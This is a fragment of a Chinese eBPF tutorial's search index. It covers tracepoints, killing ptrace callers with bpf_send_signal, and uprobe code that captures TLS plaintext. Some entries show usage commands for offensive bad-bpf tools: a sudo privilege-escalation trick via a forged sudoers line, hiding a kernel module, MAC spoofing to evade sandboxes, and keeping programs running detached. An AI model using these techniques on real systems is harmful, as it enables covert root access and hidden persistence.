实时响应: 通过直接从内核空间发送信号，避免了用户空间的额外开销，这确保了信号能够在事件发生后立即被发送，大大减少了延迟。 2. 准确性: 得益于减少的延迟，现在我们可以获得更准确的系统状态快照，这对于性能分析和异常检测尤其重要。 3. 灵活性: 这些新的 helper 函数为开发人员提供了更多的灵活性，他们可以根据不同的使用场景和需求来自定义信号的发送逻辑，从而更精确地控制和管理系统行为。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 新方案的优势","id":"186","title":"新方案的优势"},"187":{"body":"在现代操作系统中，一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中，ptrace 系统调用是一个强大的工具，它允许一个进程观察和控制另一个进程的执行，并修改其寄存器和内存。这使得它成为了调试和跟踪工具（如 strace 和 gdb）的主要机制。然而，恶意的 ptrace 使用也可能导致安全隐患。 这个程序的目标是在内核态监控 ptrace 的调用，当满足特定的条件时，它会发送一个 SIGKILL 信号终止调用进程。此外，为了调试或审计目的，该程序会记录这种干预并将相关信息发送到用户空间。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 内核态代码分析","id":"187","title":"内核态代码分析"},"188":{"body":"","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 代码分析","id":"188","title":"代码分析"},"189":{"body":"signal.h // Simple message structure to get events from eBPF Programs\n// in the kernel to user spcae\n#define TASK_COMM_LEN 16\nstruct event { int pid; char comm[TASK_COMM_LEN]; bool success;\n}; 这部分定义了一个简单的消息结构，用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 1. 数据结构定义 (signal.h)","id":"189","title":"1. 数据结构定义 (signal.h)"},"19":{"body":"跟踪点（tracepoints）是内核静态插桩技术，在技术上只是放置在内核源代码中的跟踪函数，实际上就是在源码中插入的一些带有控制条件的探测点，这些探测点允许事后再添加处理函数。比如在内核中，最常见的静态跟踪方法就是 printk，即输出日志。又比如：在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API，数量有限。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » tracepoints","id":"19","title":"tracepoints"},"190":{"body":"signal.bpf.c // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Optional Target Parent PID\nconst volatile int target_ppid = 0; SEC(\"tp/syscalls/sys_enter_ptrace\")\nint bpf_dos(struct trace_event_raw_sys_enter *ctx)\n{ long ret = 0; size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } // Send signal. 9 == SIGKILL ret = bpf_send_signal(9); // Log event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = pid; bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } return 0;\n} 许可证声明 声明了程序的许可证为 \"Dual BSD/GPL\"，这是为了满足 Linux 内核对 eBPF 程序的许可要求。 Ringbuffer Map 这是一个 ring buffer 类型的 map，允许 eBPF 程序在内核空间产生的消息被用户空间程序高效地读取。 目标父进程ID target_ppid 是一个可选的父进程ID，用于限制哪些进程受到影响。如果它被设置为非零值，只有与其匹配的进程才会被目标。 主函数 bpf_dos 进程检查 程序首先获取当前进程的ID。如果设置了 target_ppid，它还会获取当前进程的父进程ID并进行比较。如果两者不匹配，则直接返回。 发送信号 使用 bpf_send_signal(9) 来发送 SIGKILL 信号。这将终止调用 ptrace 的进程。 记录事件 使用 ring buffer map 记录这个事件。这包括了是否成功发送信号、进程ID以及进程的命令名。 总结：这个 eBPF 程序提供了一个方法，允许系统管理员或安全团队在内核级别监控和干预 ptrace 调用，提供了一个对抗潜在恶意活动或误操作的额外层次。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 2. eBPF 程序 (signal.bpf.c)","id":"190","title":"2. eBPF 程序 (signal.bpf.c)"},"191":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译： ./ecc signal.bpf.c signal.h 使用方式： $ sudo ./ecli package.json 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 eBPF 程序开始运行，你可以通过运行以下命令进行测试： $ strace /bin/whoami\nKilled 原先的 console 中会输出： INFO [bpf_loader_lib::skeleton] Running ebpf program...\nTIME PID COMM SUCCESS 13:54:45 8857 strace true 完整的源代码可以参考： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/25-signal","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 编译运行","id":"191","title":"编译运行"},"192":{"body":"通过这个实例，我们深入了解了如何将 eBPF 程序与用户态程序相结合，实现对系统调用的监控和干预。eBPF 提供了一种在内核空间执行程序的机制，这种技术不仅限于监控，还可用于性能优化、安全防御、系统诊断等多种场景。对于开发者来说，这为Linux系统的性能调优和故障排查提供了一种强大且灵活的工具。 最后，如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 总结","id":"192","title":"总结"},"193":{"body":"https://github.com/pathtofile/bad-bpf https://www.mail-archive.com/netdev@vger.kernel.org/msg296358.html","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"193","title":"参考资料"},"194":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为  ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"194","title":"使用 eBPF 添加 sudo 用户"},"195":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"195","title":"参考资料"},"196":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"196","title":"使用 eBPF 替换任意程序读取或写入的文本"},"197":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"197","title":"参考资料"},"198":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"198","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"199":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"199","title":"eBPF 程序的生命周期"},"2":{"body":"对于浏览器而言，JavaScript 的引入带来的可编程性开启了一场巨大的革命，使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF：为了理解 eBPF 对 Linux 内核的可编程性影响，对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。 kernel-arch Linux 内核的主要目的是抽象出硬件或虚拟硬件，并提供一个一致的API（系统调用），允许应用程序运行和共享资源。为了实现这个目的，我们维护了一系列子系统和层，以分配这些责任[5]。每个子系统通常允许某种程度的配置，以考虑到用户的不同需求。如果不能配置所需的行为，就需要改变内核，从历史上看，改变内核的行为，或者让用户编写的程序能够在内核中运行，就有两种选择: 本地支持内核模块 写一个内核模块 改变内核源代码，并说服Linux内核社区相信这种改变是必要的。等待几年，让新的内核版本成为一种商品。 定期修复它，因为每个内核版本都可能破坏它。由于缺乏安全边界，冒着破坏你的Linux内核的风险 实际上，两种方案都不常用，前者成本太高，后者则几乎没有可移植性。 有了 eBPF，就有了一个新的选择，可以重新编程 Linux 内核的行为，而不需要改变内核的源代码或加载内核模块，同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的，eBPF 程序也需要有一套对应的 API，允许用户定义的应用程序运行和共享资源 --- 换句话说，某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制，借助 eBPF 和用户态通信的机制，Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权，一方面能可编程地扩展传统的系统调用的能力，另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。 new-os 正如上图所示，当今的 Linux 内核正在向一个新的内核模型演化：用户定义的应用程序可以在内核态和用户态同时执行，用户态通过传统的系统调用访问系统资源，内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初，内核中的 eBPF 虚拟机中已经有 220 多个Helper 系统接口，涵盖了非常多的应用场景。 值得注意的是，BPF Helper Call 和系统调用二者并不是竞争关系，它们的编程模型和有性能优势的场景完全不同，也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说，情况也类似，专门设计的 wasi 接口需要经历一个漫长的标准化过程，但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证，而 eBPF 在保证沙箱本质和可移植性的前提下，可以提供一个快速灵活的扩展系统接口的方案。 目前的 eBPF 仍然处于早期阶段，但是借助当前 eBPF 提供的内核接口和用户态交互的能力，经由 Wasm-bpf 的系统接口转换，Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值（kprobe，uprobe...）；以很低的代价收集和理解所有系统调用，并获取所有网络操作的数据包和套接字级别的数据（tracepoint，socket...）；在网络包处理解决方案中添加额外的协议分析器，并轻松地编程任何转发逻辑（XDP，TC...），以满足不断变化的需求，而无需离开Linux内核的数据包处理环境。 不仅如此，eBPF 还有能力往用户空间任意进程的任意地址写入数据（bpf_probe_write_user[7]），有限度地修改内核函数的返回值（bpf_override_return[8]），甚至在内核态直接执行某些系统调用[9]；所幸的是，eBPF 在加载进内核之前对字节码会进行严格的安全检查，确保没有内存越界等操作，同时，许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的；在 Wasm 虚拟机将字节码加载进内核之前，也可以明确选择启用或者禁用某些 eBPF 功能，以确保沙箱的安全性。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 的未来：内核的 JavaScript 可编程接口","id":"2","title":"eBPF 的未来：内核的 JavaScript 可编程接口"},"20":{"body":"面对创建一个 eBPF 项目，您是否对如何开始搭建环境以及选择编程语言感到困惑？别担心，我们为您准备了一系列 GitHub 模板，以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮，即可开始使用。 https://github.com/eunomia-bpf/libbpf-starter-template ：基于C语言和 libbpf 框架的eBPF项目模板 https://github.com/eunomia-bpf/cilium-ebpf-starter-template ：基于C语言和cilium/ebpf框架的eBPF项目模板 https://github.com/eunomia-bpf/libbpf-rs-starter-template ：基于Rust语言和libbpf-rs框架的eBPF项目模板 https://github.com/eunomia-bpf/eunomia-template ：基于C语言和eunomia-bpf框架的eBPF项目模板 这些启动模板包含以下功能： 一个 Makefile，让您可以一键构建项目 一个 Dockerfile，用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages GitHub Actions，用于自动化构建、测试和发布流程 eBPF 开发所需的所有依赖项 通过将现有仓库设置为模板，您和其他人可以快速生成具有相同基础结构的新仓库，从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库，开发者可以专注于项目的核心功能和逻辑，而无需为基础设置和结构浪费时间。更多关于模板仓库的信息，请参阅官方文档： https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » GitHub 模板：轻松构建 eBPF 项目和开发环境","id":"20","title":"GitHub 模板：轻松构建 eBPF 项目和开发环境"},"200":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"200","title":"运行"},"201":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"201","title":"参考资料"},"202":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"202","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"203":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"203","title":"背景知识"},"204":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"204","title":"SSL 和 TLS"},"205":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"205","title":"TLS 的工作原理"},"206":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"206","title":"eBPF 和 uprobe"},"207":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"207","title":"用户态库"},"208":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"208","title":"OpenSSL API 分析"},"209":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"209","title":"1. SSL_read 函数"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"210","title":"2. SSL_write 函数"},"211":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"211","title":"eBPF 内核态代码编写"},"212":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"212","title":"数据结构"},"213":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"213","title":"Hook 函数"},"214":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; 